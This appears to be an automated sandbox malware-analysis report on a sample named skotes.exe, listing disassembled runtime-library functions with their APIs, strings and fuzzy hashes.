Opcode Fuzzy Hash: 1f55c6ce6c155e711f287603780e9b0a7f7dab2580c595cbc3a40ecc582493fc
Instruction Fuzzy Hash: 8A01F732640109EFDB00AB71EC4AEAB3BBCAF44352F14043DFC25E6190DB24E9498760

Function 00174E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 00174E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00174E86
PMDtoOffset.LIBCMT ref: 00174EAC

Strings

Bad dynamic_cast!, xrefs: 00174EEE

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: d3f46c24045d545407c0ee9c1263b607094a94da43eea8851c512500f10e8fe2
Instruction ID: 21bfaaf080faf0390e2a98220d2ea0fd600d1f9a16bed5ccf1e638a7a9e597ac
Opcode Fuzzy Hash: d3f46c24045d545407c0ee9c1263b607094a94da43eea8851c512500f10e8fe2
Instruction Fuzzy Hash: 9921D672A04205AFCF14DFA8DD46EAE77B8FB58734F11C129F91997180DF35E9009691

Function 0017182A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00171885
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001718A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001718EB

Strings

pContext, xrefs: 0017189C

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1284976207-2046700901
Opcode ID: ecfa32d24d51a77ebae5b6b2058e57bd224693f4bafab9e9e2cfdf706aa366d6
Instruction ID: a000a52676556c98072f098df2fe6c281123cd589b8262c20d7a9e476b6a5b3c
Opcode Fuzzy Hash: ecfa32d24d51a77ebae5b6b2058e57bd224693f4bafab9e9e2cfdf706aa366d6
Instruction Fuzzy Hash: A3213B35B00611BFCB15AB6CC855ABC73B5BF94334B04811AE419872D1CFA4AC45CBD2

Function 0017DFE3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0017DFE8

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-2152102331
Opcode ID: 23c6206f395ba45fd4818202f0a281babcdab177318bcd0d3e4682788d9d3f53
Instruction ID: 0c9899b0fa8ca2873721bbe2ad7a1041378d19accdcfa7935c94218783880f60
Opcode Fuzzy Hash: 23c6206f395ba45fd4818202f0a281babcdab177318bcd0d3e4682788d9d3f53
Instruction Fuzzy Hash: 1D218B72608209AFEB30AF659C81E6B77FDEF183A8710C654F92C96191E761ED4087A0

Function 0017727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001772BE

Strings

.com, xrefs: 001772FE
.bat, xrefs: 001772ED
.cmd, xrefs: 001772DC
.exe, xrefs: 001772CB

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 27d6e1e77e00c522c52793a6f1b279f9ce959f8c5d6d099fd21af304f6532fcf
Instruction ID: 5e62a3f2ea0fa5f96c444c7aceb471947b0468ec847e5e1de8e511c36a560c4e
Opcode Fuzzy Hash: 27d6e1e77e00c522c52793a6f1b279f9ce959f8c5d6d099fd21af304f6532fcf
Instruction Fuzzy Hash: 50014E3770CA1635A6166058AD42B7613B99FD1BB4F16C02AFC5CF71C1DF54DC4261E0

Function 00164EA2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00164F01
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00164F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00164F66

Strings

count, xrefs: 00164EBA
ppVirtualProcessorRoots, xrefs: 00164F1C

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 18808576-3650809737
Opcode ID: f49a69e13bb3bc6a005ab99967055055b350955f6ec999e8b470ed2b6ca48b8e
Instruction ID: 01ba8968cc4e1ec1989c6c4b181f1dad88301d4ccd1de91744a6e4d812fbc715
Opcode Fuzzy Hash: f49a69e13bb3bc6a005ab99967055055b350955f6ec999e8b470ed2b6ca48b8e
Instruction Fuzzy Hash: 2921D035A00215EFCF14EFA8C892EAD77B5BF58315F004069F9169B691CB32AE11CB91

Function 00175FB7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00176007

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: c63ba984fe159e5288d805def69e8f38f3425fe13945cff8ab0ab48ab5adf405
Instruction ID: 4e6bebcdc6d1e688994b52a756d51c432faf26d49c13c66b93614ee9c2c4f3d3
Opcode Fuzzy Hash: c63ba984fe159e5288d805def69e8f38f3425fe13945cff8ab0ab48ab5adf405
Instruction Fuzzy Hash: 5F11AB76E05A25AFCB328B68DC44A5A3B78AF057B0B258515F91AB7291D730DD4086E0

Function 00172097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 001720B7
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001720C8
StructuredWorkStealingQueue.LIBCMT ref: 001720FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0017210F

Strings

e, xrefs: 001720D9

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 65f152158032b5c8f240a8a4d1311b6ff670587e6339efc6dbbc2a5d54394545
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 8311A031604105ABDB19DE79C891AAA73B4FF12324B64C16AFC0E9F242DB71D902CBA1

Function 0017656D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00176562,?,?,0017652A,?,?,?), ref: 00176582
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00176595
FreeLibrary.KERNEL32(00000000,?,?,00176562,?,?,0017652A,?,?,?), ref: 001765B8

Strings

mscoree.dll, xrefs: 0017657B
CorExitProcess, xrefs: 0017658D

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1b0f5959fac607c7919c0a676d7bfdafb551123f278282bdefa9bd27ca57ae1
Instruction ID: d56d163aac1bc9b0694e25964c3f82f3e3dce27c6166f4900c567d8db560fb40
Opcode Fuzzy Hash: f1b0f5959fac607c7919c0a676d7bfdafb551123f278282bdefa9bd27ca57ae1
Instruction Fuzzy Hash: A2F01C31A01618FFDF129B91DD0DB9EBB79EB04796F144062F809A21A0CB748F40EBA0

Function 00182517 Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00182599
_free.LIBCMT ref: 001825BD
_free.LIBCMT ref: 0018274A
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00196758), ref: 0018275C
_free.LIBCMT ref: 00182916

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 192749e1ba408307a39091b6650ee0a1b746d9d24c916cb169a8d37eb2b170e4
Instruction ID: 599a57c9632f9aa3efad3fe4defda5ec33145f2682c0f513128248c7a250c6ec
Opcode Fuzzy Hash: 192749e1ba408307a39091b6650ee0a1b746d9d24c916cb169a8d37eb2b170e4
Instruction Fuzzy Hash: A8C11675A00205AFDB26BF68CC45BAA7BF9EF66310F38409AE85597291E7308F41CF50

Function 001867A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00E01738,00E01738,?,7FFFFFFF,?,?,00186A65,00E01738,00E01738,?,00E01738,?,?,?,?,00E01738), ref: 0018684C
__alloca_probe_16.LIBCMT ref: 00186902
__alloca_probe_16.LIBCMT ref: 00186998
__freea.LIBCMT ref: 00186A03
__freea.LIBCMT ref: 00186A0F

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: af65994e40a020fc2be5aa19ec9488c79bce4488a5d861394704a5590faa9fe0
Instruction ID: ac8529af244a4f6194b7e4c44417c7b7bb0fd8a52e664fc40882448f3875cd71
Opcode Fuzzy Hash: af65994e40a020fc2be5aa19ec9488c79bce4488a5d861394704a5590faa9fe0
Instruction Fuzzy Hash: 2C81C272D002569FDF25AFA48881EEF7BB99F1A354F194059E818B7281D735CE40CFA1

Function 00184C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00184C98
__alloca_probe_16.LIBCMT ref: 00184D5E
__freea.LIBCMT ref: 00184DCA

Part of subcall function 0017B04B: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0017B07D

__freea.LIBCMT ref: 00184DD3
__freea.LIBCMT ref: 00184DF6

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 3842c2208cd51dfd9c0f9c0de52e65cd2de3d42de36c320271a64963b5d9ce41
Instruction ID: d72f884135cb5944e1bc612847eb94df078f08e27cab238064dc0fbeff16dd37
Opcode Fuzzy Hash: 3842c2208cd51dfd9c0f9c0de52e65cd2de3d42de36c320271a64963b5d9ce41
Instruction Fuzzy Hash: 6351D372600207AFEB25AFA4DC81FBB36A9DBA4754F154229FD1897141EF34DE108BA0

Function 00176FB4 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00176EE6), ref: 00176FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00177030
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00176EE6,?,000000FF,00000000,00000000), ref: 001770BE
__dosmaperr.LIBCMT ref: 001770C5
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00177102

Part of subcall function 0017732A: __dosmaperr.LIBCMT ref: 0017735F

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: fdfae6c4fd7241d599e8876d704e30e65801e9e51b85532332d1c733f5e60a7c
Instruction ID: 1b1153b0c761ccc9fbab16eb408e6a954f6c5f2d7e094151e92fe865a4cafeda
Opcode Fuzzy Hash: fdfae6c4fd7241d599e8876d704e30e65801e9e51b85532332d1c733f5e60a7c
Instruction Fuzzy Hash: 74413AB1904304AFDB24DFB5DC459ABBBF9EF89300F10892AF95AD3661E7309940CB61

Function 0016DB30 Relevance: 7.6, APIs: 5, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0016DB64

Part of subcall function 00168F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00168F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0016DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0016DBE9
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0016DC09
Concurrency::location::_Assign.LIBCMT ref: 0016DC56

Part of subcall function 00171332: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00171377

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID:
API String ID: 1879022333-0
Opcode ID: f0a64854605161398767bedc0b58c7df954134d43dda62d5adab4a9ecb4dcc4b
Instruction ID: adfad58d42ada6dc18ddb40d5ea55cc6ef9cfda8f055b4be473d2de36f68d1ab
Opcode Fuzzy Hash: f0a64854605161398767bedc0b58c7df954134d43dda62d5adab4a9ecb4dcc4b
Instruction Fuzzy Hash: 1841F270B00214ABCF19AB24DC86BBDBB75AF55310F04419DE9069B3C2CBB0AD55CB91

Function 001686C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001686EE

Part of subcall function 0015EAD0: _SpinWait.LIBCONCRT ref: 0015EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00168702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00168734
List.LIBCMT ref: 001687B7
List.LIBCMT ref: 001687C6

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 1884ac496e24733ef4b91f55a53e8de99458900f0a48a007d541cf517e8b1df1
Instruction ID: 92e3a83a913dbf53286058298b306f660ed41d3f8154a78ca2dbb3c15454161b
Opcode Fuzzy Hash: 1884ac496e24733ef4b91f55a53e8de99458900f0a48a007d541cf517e8b1df1
Instruction Fuzzy Hash: 77319C32D01655DFCB14EFA8C9916EDB7B1BF24318F24426ED8117B692CB31AD28CB90

Function 0017F03A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0017F052

Part of subcall function 0017ADF5: HeapFree.KERNEL32(00000000,00000000,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?), ref: 0017AE0B
Part of subcall function 0017ADF5: GetLastError.KERNEL32(?,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?,?), ref: 0017AE1D

_free.LIBCMT ref: 0017F064
_free.LIBCMT ref: 0017F076
_free.LIBCMT ref: 0017F088
_free.LIBCMT ref: 0017F09A

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f50ebdd9267ebbf597f731712a66e492b1be9326f72558015dc9bac1157571bb
Instruction ID: 2267f47a60b91d0ee3fcddc385313ce444edbad531c2208a105b3bec4adf0e2b
Opcode Fuzzy Hash: f50ebdd9267ebbf597f731712a66e492b1be9326f72558015dc9bac1157571bb
Instruction Fuzzy Hash: 8EF0EC32504214AB8634EBACE585C1B77FEFBA57127A48819F41CD7A42CB30FEC18665

Function 0017DA1E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0017DBB8

Strings

*?, xrefs: 0017DA61

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction ID: 24c54c8fb479b38d9495a1a6894ef4d31e441872930f644341b9a365f5e8be65
Opcode Fuzzy Hash: 9ef204f46e1e9e6e895b4fd4c09f2a6869b2f7b57ccd26facbf7b5b5b709429c
Instruction Fuzzy Hash: 50614CB5E002199FCB24DFA8D8815EEFBF5EF58310B2581A9E859E7300E7719E418B90

Function 0017565B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 00175680
CatchIt.LIBVCRUNTIME ref: 00175766

Strings

RCC, xrefs: 0017569A
MOC, xrefs: 00175692

Memory Dump Source

